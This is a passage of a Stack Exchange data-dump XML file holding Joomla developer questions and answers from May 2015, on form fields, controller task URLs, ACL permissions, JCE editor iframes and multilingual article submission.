$field-&amp;gt;input; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset() as $field): ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        $class = '';&#xA;        $rel = '';&#xA;        if ($showon = $field-&amp;gt;getAttribute('showon')) {&#xA;            JHtml::_('jquery.framework');&#xA;            JHtml::_('script', 'jui/cms.js', false, true);&#xA;            $id = $this-&amp;gt;form-&amp;gt;getFormControl();&#xA;            $showon = explode(':', $showon, 2);&#xA;            $class = ' showon_' . implode(' showon_', explode(',', $showon[1]));&#xA;            $rel = ' rel=&quot;showon_' . $id . '[' . $showon[0] . ']&quot;';&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;lt;?php echo $rel; ?&amp;gt;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO am I supposed to manually add this part all the time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docu doesn't state anything about this, I need to load the cms.js file manually and build the control-grouptag myself? Seems strange&lt;/p&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="1950" LastEditDate="2015-05-11T07:19:24.573" LastActivityDate="2015-05-27T13:17:28.650" Title="Is the new 'showon' attribute only for back-end forms?" Tags="|joomla-3.x|form|fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9874" PostTypeId="2" ParentId="9872" CreationDate="2015-05-11T03:09:10.487" Score="3" Body="&lt;p&gt;The filter fields will automatically populated if they are listed in your Model's $config['filter_fields'] array in the constructor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct ($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(&#xA;                'id', 'a.id',&#xA;                'title', 'a.title',&#xA;                'alias', 'a.alias',&#xA;                'checked_out', 'a.checked_out',&#xA;                'checked_out_time', 'a.checked_out_time',&#xA;                'catid', 'a.catid',&#xA;                'category_title',&#xA;                'published', 'a.published',&#xA;                'access', 'a.access',&#xA;                'access_level',&#xA;                'created', 'a.created',&#xA;                'created_by', 'a.created_by',&#xA;                'ordering', 'a.ordering',&#xA;                'featured', 'a.featured',&#xA;                'language', 'a.language',&#xA;                'hits', 'a.hits',&#xA;                'publish_up', 'a.publish_up',&#xA;                'publish_down', 'a.publish_down'&#xA;        );&#xA;    }&#xA;&#xA;    parent::__construct($config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-11T03:09:10.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9875" PostTypeId="2" ParentId="9873" CreationDate="2015-05-11T07:31:34.517" Score="2" Body="&lt;p&gt;I guess it's a problem related to system core, Your template/Joomla don't load JS for that functionality, just add JS &lt;code&gt;/media/jui/js/cms.js&lt;/code&gt; in your controller where you load form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-11T07:31:34.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9876" PostTypeId="2" ParentId="9862" CreationDate="2015-05-11T07:42:13.457" Score="0" Body="&lt;p&gt;you need to checkout bootstrap page where you find grid class info &lt;code&gt;http://getbootstrap.com/css/#grid-options&lt;/code&gt;. After you read this, you can edit your template or even add classes to your module class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-11T07:42:13.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9877" PostTypeId="1" AcceptedAnswerId="9878" CreationDate="2015-05-11T08:15:29.430" Score="2" ViewCount="5327" Body="&lt;p&gt;I'm developing my custom component and I need to call some task from back-end controller during editing a single record. The url of my record edit page in the back-end is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.../administrator/index.php?option=com_mycom&amp;amp;view=page&amp;amp;layout=edit&amp;amp;id=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is my ajax-query for calling a task in the record controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA; method: &quot;POST&quot;,&#xA; cache: false,&#xA; url: 'index.php?option=com_mycom&amp;amp;task=deleteimg&amp;amp;format=raw&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;',&#xA; data: {id: '&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;'}&#xA;}).done(function() {&#xA; alert('Deleted');&#xA;});&#xA;return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried also the urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mycom&amp;amp;controller=record&amp;amp;task=deleteimg&amp;amp;format=raw&amp;amp;id=...&#xA;index.php?option=com_mycom&amp;amp;controller=record&amp;amp;view=record&amp;amp;layout=edit&amp;amp;task=deleteimg&amp;amp;format=raw&amp;amp;id=...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But every time console displays me the 404 error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;POST ...//domain.com/administrator/index.php?...&amp;amp;id=2 404 (...&#xA;  [name, type, prefix]: pages, raw, mycomView)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What the correct url should be?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-11T12:27:07.910" LastActivityDate="2015-05-11T12:34:33.160" Title="What is the correct url for calling task in the backend controller" Tags="|joomla-3.x|component|development|joomla-api|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9878" PostTypeId="2" ParentId="9877" CreationDate="2015-05-11T08:17:57.583" Score="3" Body="&lt;p&gt;Try this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mycom&amp;amp;task=yourcontroller.deleteimg&amp;amp;tmpl=component&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-05-11T12:34:33.160" LastActivityDate="2015-05-11T12:34:33.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9880" PostTypeId="1" CreationDate="2015-05-11T10:34:31.960" Score="2" ViewCount="149" Body="&lt;p&gt;actually i'm creating a component in which i'm facing problem to restrict a backend user from direct edit a record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Know When we Edit a record in joomla using &quot;controller.edit&quot; function it uses HoldEditId() function to store the current id in userstate passed using url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm using the value stored using HoldEditId () function in model to check if the id of url is the same stored in userState Variable To Load Correct record  data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But HoldEditId not only hold the current value but also hold the  last edited record id now the problem is how can i know which is currently stored id and which is last inserted id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the solution is to remove the old values save using holdeditid function, when a user click on close or cancel button but how can i do that and if this is right or i'm doing very wrong there is an another simple way.? &lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2015-06-11T03:50:57.700" Title="Restrict user to direct edit a record by changing the value of ID in url.?" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-3.4|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9884" PostTypeId="2" ParentId="9859" CreationDate="2015-05-11T15:48:41.390" Score="0" Body="&lt;p&gt;You can just change your xml (models/forms/yourform.xml) field definition to include the extra option like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;catid&quot; type=&quot;contentlanguage&quot; label=&quot;yourlabel&quot;&#xA;description=&quot;yourdescription&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;*&quot;&amp;gt;JALL&amp;lt;/option&amp;gt;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JALL will be automatically translated to your language &quot;All&quot; word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2015-05-11T15:48:41.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9885" PostTypeId="1" CreationDate="2015-05-11T18:37:12.493" Score="5" ViewCount="2366" Body="&lt;p&gt;It's possible, on Joomla 3.2, create a group with permission for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;insert/edit/delete articles&lt;/li&gt;&#xA;&lt;li&gt;insert/edit/delete users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and not permissions for manage extensions, configuration, templates..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4049" LastActivityDate="2015-05-12T03:25:51.730" Title="Permission for edit articles and users" Tags="|joomla-3.x|administrator|acl|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9886" PostTypeId="2" ParentId="9872" CreationDate="2015-05-11T22:06:39.523" Score="8" Body="&lt;p&gt;I managed to add options as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutHelper::render(&#xA;  'joomla.searchtools.default', &#xA;   array('view' =&amp;gt; $this, &#xA;  'options' =&amp;gt; array('filtersHidden' =&amp;gt;$hidden)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If $hidden is set as 0 then the search tools will not be hidden.  I set this variable appropriately based on the selected filter values.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-05-11T22:06:39.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9888" PostTypeId="2" ParentId="9880" CreationDate="2015-05-12T03:18:28.820" Score="1" Body="&lt;p&gt;This is how you should load your current record id from the state in your model class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pk = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState($this-&amp;gt;getName() . '.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to get last edited value in your holdEditId function, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recordId = array_pop($values)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But ideally you need not override holdEditId function at all. You need to pass the id in your url so that it will be automatically populated in your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens in populateState function of your model if it extends JModelAdmin. You can override populateState function in your model to populate other variables if you need. &lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-12T03:18:28.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9889" PostTypeId="2" ParentId="9885" CreationDate="2015-05-12T03:25:51.730" Score="5" Body="&lt;p&gt;Yes,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Users -&gt; Groups&lt;/li&gt;&#xA;&lt;li&gt;Click New button and create a custom group&lt;/li&gt;&#xA;&lt;li&gt;Go to Content -&gt; Article Manager&lt;/li&gt;&#xA;&lt;li&gt;Click on Options button on toolbar&lt;/li&gt;&#xA;&lt;li&gt;Click on Permissions tab&lt;/li&gt;&#xA;&lt;li&gt;Click on your custom user group (left side tabs) to show its permissions&lt;/li&gt;&#xA;&lt;li&gt;Select Allowed for Create, Edit Own and Edit State (or Delete if you want to  give more permission)&lt;/li&gt;&#xA;&lt;li&gt;Click Save &amp;amp; Close&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-12T03:25:51.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9890" PostTypeId="1" AcceptedAnswerId="9897" CreationDate="2015-05-12T03:58:10.957" Score="0" ViewCount="2071" Body="&lt;p&gt;I am working on a joomla project. I was asked to change the permalink of my site. What should I do and what is the purpose of doing it? Please help.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2017-06-09T13:30:15.177" Title="What is a permalink?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9892" PostTypeId="2" ParentId="9890" CreationDate="2015-05-12T05:59:38.967" Score="1" Body="&lt;p&gt;permalink is nice looking link to your article. Without menu aliases it will be less pretty, like &lt;code&gt;example.com/component/content/1-article_alias&lt;/code&gt; but you can do many variants of pretty links, create alias for category where you displaying article plus create alias for that article, then you will have a pretty link like this &lt;code&gt;example.com/category-menu-alias/article-menu-alias&lt;/code&gt; and that's help your viewers read the page, but seo won't get any advantage, because google index well links with ID and numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-12T05:59:38.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9894" PostTypeId="2" ParentId="9830" CreationDate="2015-05-12T09:14:52.543" Score="1" Body="&lt;p&gt;Try this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.loginbtn').click()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T09:14:52.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9895" PostTypeId="1" AcceptedAnswerId="9896" CreationDate="2015-05-12T09:45:46.347" Score="5" ViewCount="6734" Body="&lt;p&gt;Whenever I put Google's iFrame code in JCE editor and save it, the entire code will disappear. I already made sure that JCE doesn't block it in plugin manager and also through system global configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to paste the code under Chronoforms in the same article which probably doesn't give conflicts or somesort. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody any ideas?&lt;br&gt;&#xA;I don't want to use other editors. Also there seems no plugin like it needed for joomla 1.5. &lt;/p&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="126" LastEditDate="2016-01-21T22:50:33.953" LastActivityDate="2017-08-10T21:02:57.107" Title="iframe gets deleted in Joomla JCE Editor" Tags="|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9896" PostTypeId="2" ParentId="9895" CreationDate="2015-05-12T10:06:34.590" Score="8" Body="&lt;p&gt;Please try following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check that the Editor Profile Parameters allow IFrames&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the JCE Control Panel, click on the Editor Profiles button.&lt;/li&gt;&#xA;&lt;li&gt;Click on the Profile name that the user, usergroup or component is assigned to, eg: 'Default'&lt;/li&gt;&#xA;&lt;li&gt;Click on the Plugin Parameters tab, then on the Media Support tab.&lt;/li&gt;&#xA;&lt;li&gt;Check that the Allow IFrames is set to Yes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Configure Joomla! Article filters&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By default Joomla!  'cleans' content on saving, removing script tags,&#xA;event attributes (such as onclick, onmouseover etc.) and style tags.&lt;/li&gt;&#xA;&lt;li&gt;A simple article parameter change is all that is required to fix&#xA;this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 1.5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this article &lt;a href=&quot;http://docs.joomla.org/Why_does_some_HTML_get_removed_from_articles_in_version_1.5.8%3F&quot;&gt;http://docs.joomla.org/Why_does_some_HTML_get_removed_from_articles_in_version_1.5.8%3F&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla! 2.5 and Joomla! 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the Joomla! Global Configuration, click on the Text Filters tab.&lt;/li&gt;&#xA;&lt;li&gt;For the Super Users group, or any other trusted user group, set Filter Type to No Filtering. Make sure that you only set this option for user groups that can be trusted as setting the Filter Type to No Filtering will essentially allow the user to include any html in an article.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Addionally you can install iframe plugin to enable iFrame support:&#xA;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/faq/category/iframe-plugin&quot;&gt;https://www.joomlacontenteditor.net/support/faq/category/iframe-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T10:06:34.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9897" PostTypeId="2" ParentId="9890" CreationDate="2015-05-12T10:31:34.613" Score="2" Body="&lt;p&gt;If you need a definition of this word then it is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a permanent static hyperlink to a particular web page or entry in a&#xA;  blog.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to know how to change permalink then here is the answer:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to administrator panel&lt;/li&gt;&#xA;&lt;li&gt;Go in Menu Manager&lt;/li&gt;&#xA;&lt;li&gt;If it is Article permalink then create new menu item from menu manager&lt;/li&gt;&#xA;&lt;li&gt;Select Single Article as Menu Type and then Select your Article&lt;/li&gt;&#xA;&lt;li&gt;Leave &quot;alias&quot; box blank it will automatically choose alias based on your Menu Item Name.&lt;/li&gt;&#xA;&lt;li&gt;Click on Save Button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can follow the same procedure for other types of components like Category, Contact etc.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T10:31:34.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9898" PostTypeId="1" AcceptedAnswerId="14202" CreationDate="2015-05-12T11:29:18.000" Score="1" ViewCount="810" Body="&lt;p&gt;I have created multilanguage site in Joomla. Default language is English, second language is French. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created user login module and front end article submission for English website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I registered a user in English site (front end) and logged in. I clicked on 'Submit an article'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 'Create article' page, language is displayed as 'All'. I want this to be displayed as 'English' as the user logged into English website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user is logged into French website, Language should be automatically set to French. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of selecting the language manually, I want to set it automatically to the language the user logged in. Because most of the time, user forgets to select the language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe small piece of code will do this. Can someone please help me to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Ramesh.&lt;/p&gt;&#xA;" OwnerUserId="5231" LastEditorUserId="126" LastEditDate="2015-08-11T15:31:27.990" LastActivityDate="2015-11-06T04:37:30.723" Title="How to set language in Joomla front end article submission?" Tags="|joomla-3.4|multilingual|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9899" PostTypeId="1" AcceptedAnswerId="9917" CreationDate="2015-05-12T11:38:21.590" Score="6" ViewCount="85" Body="&lt;p&gt;In a Joomla 3.x component, a parameter that's frequently listed in the MODELS &gt; FORMS &gt; VIEWNAME.XML file is &lt;code&gt;option_on&lt;/code&gt; or &lt;code&gt;option_off&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;something_amazing&quot;&#xA;    type=&quot;editor&quot;&#xA;    label=&quot;COM_YOURNAME_FORM_LBL_VIEWNAME_SOMETHING_AMAZING&quot;&#xA;    description=&quot;COM_YOURNAME_FORM_DESC_VIEWNAME_SOMETHING_AMAZING&quot;&#xA;    menu_published=&quot;0&quot;&#xA;    filter=&quot;safehtml&quot;&#xA;    option_on=&quot;Yes&quot;&#xA;    option_off=&quot;Yes&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many of the available parameters are listed on the &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot;&gt;official documentation&lt;/a&gt;, but no matter where I look, I can't seem to find an explanation of these particular fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are they for, and can you give an example of when you might use them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2015-05-13T12:24:15.627" Title="Components: What is the purpose of the option_on and option_off fields in models &gt; forms &gt; viewname.xml?" Tags="|joomla-3.x|component|xml|component-params|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9900" PostTypeId="1" CreationDate="2015-05-12T13:17:20.643" Score="2" ViewCount="580" Body="&lt;p&gt;I've got 2 directories on my root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/images/ &amp;lt;-- with user's images&#xA;/media/  &amp;lt;-- with system ( and components ) images&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The global parameter for image root is set to &lt;code&gt;media&lt;/code&gt; but I want to decide via the field where to find my image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML for the admin form is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    id=&quot;contest_image&quot;&#xA;    name=&quot;contest_image&quot;&#xA;    type=&quot;NewMedia&quot;&#xA;    required=&quot;false&quot;&#xA;    imgroot=&quot;images&quot;&#xA;    directory=&quot;&quot;&#xA;    label=&quot;Contest_image&quot;&#xA;    description=&quot;contest_image_Desc&quot;&#xA;    preview=&quot;true&quot;&#xA;    exclude=&quot;&quot; &#xA;    stripext=&quot;0&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've duplicated the original field in NewMedia for avoiding confusion and set this one with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;value &amp;amp;&amp;amp; file_exists(JPATH_ROOT . '/' . $this-&amp;gt;value))&#xA;{&#xA;    $folder = $this-&amp;gt;imgroot . '/'.$this-&amp;gt;directory;&#xA;}&#xA;elseif (file_exists(JPATH_ROOT . '/' . $this-&amp;gt;imgroot . '/' . $this-&amp;gt;directory))&#xA;{&#xA;    $folder = $this-&amp;gt;imgroot . '/'.$this-&amp;gt;directory;&#xA;}&#xA;else&#xA;{&#xA;    //$folder = '';&#xA;    $folder = $this-&amp;gt;imgroot ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me ?&lt;/p&gt;&#xA;" OwnerUserId="5199" LastEditorUserId="168" LastEditDate="2015-05-12T13:23:33.087" LastActivityDate="2015-05-12T14:05:01.590" Title="How can I dynamically set the directory for media field in admin" Tags="|form-fields-types|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9901" PostTypeId="1" AcceptedAnswerId="10002" CreationDate="2015-05-12T13:21:14.510" Score="1" ViewCount="185" Body="&lt;p&gt;I need to set the shoppergroup for guest users based on a region parameter (that they choose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that using the following inside a system plugin (onAfterDispatch) would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Getting a registered user and piggy-backing on that.&#xA;$user = JFactory::getUser(801);&#xA;/** @var TableVmusers $vm_user */&#xA;$vm_user_model = new VirtueMartModelUser();&#xA;$vm_user = $vm_user_model-&amp;gt;getUser();&#xA;$vm_user-&amp;gt;JUser = $user;&#xA;$region = JFactory::$application-&amp;gt;input-&amp;gt;get('region');&#xA;$vm_user-&amp;gt;shopper_groups = [0 =&amp;gt; $region];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-05-19T09:31:09.537" Title="Set VM shoppergroup for guest" Tags="|virtuemart|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9902" PostTypeId="1" CreationDate="2015-05-11T22:50:56.250" Score="2" ViewCount="2677" Body="&lt;p&gt;I have been struggling with this one for about 4 hours to no avail.  I have a joomla site that uses numerous modules on the homepage and a few other pages.  I have done tons of research and see that I need to create a 'hidden' menu that contains my blog posts with category 'Blog category' (I'm sorry if any of this terminology is off, I'm quite new to the Joomla environment) and then i will have access to manage the modules for articles with the category of blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done three different tutorials but have not been able to hide the module on the actual blog detail page. Any help will be much appreciated.  The weirdest part about this is that the module that I am trying to hide is set to only show on the homepage.  This is working except for on the blog pages, so my guess is that they are somehow tied to the homepage but I can't figure out how.&lt;/p&gt;&#xA;" OwnerUserId="5232" OwnerDisplayName="user3633970" LastEditorUserId="1629" LastEditDate="2015-05-12T14:16:09.363" LastActivityDate="2019-12-14T15:38:30.780" Title="Hide Joomla module on blog detail page" Tags="|joomla-3.x|joomla-2.5|module|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9903" PostTypeId="2" ParentId="9898" CreationDate="2015-05-12T13:56:28.227" Score="1" Body="&lt;p&gt;You can create a &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;view override&lt;/a&gt; to modify how the language field is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current form view (&lt;em&gt;components/com_content/views/form/tmpl/edit.php&lt;/em&gt;) has this field generation, line 147:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tab-pane&quot; id=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('language'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, you can modify the Html generation according to &lt;code&gt;JFactory::getLanguage()-&amp;gt;getTag()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2015-05-12T16:12:36.237" LastActivityDate="2015-05-12T16:12:36.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9904" PostTypeId="2" ParentId="9900" CreationDate="2015-05-12T14:05:01.590" Score="2" Body="&lt;p&gt;In your Model, you have to override &lt;code&gt;getForm&lt;/code&gt; method to set values dynamically. Make sure you are extending your Model with either JModelForm or JModelAdmin. Once done, try following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getForm($data = array(), $loadData = true)&#xA;{&#xA;    $form = $this-&amp;gt;loadForm('com_yourcomponent.yourformname', 'yourformname', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;&#xA;    if (empty($form))&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    if (condition)&#xA;    {&#xA;        $form-&amp;gt;setFieldAttribute('contest_image', 'directory', 'Your Value if condition is true');&#xA;    }&#xA;    else&#xA;    {&#xA;        $form-&amp;gt;setFieldAttribute('contest_image', 'directory', 'Your Value is false');&#xA;    }&#xA;&#xA;    return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T14:05:01.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
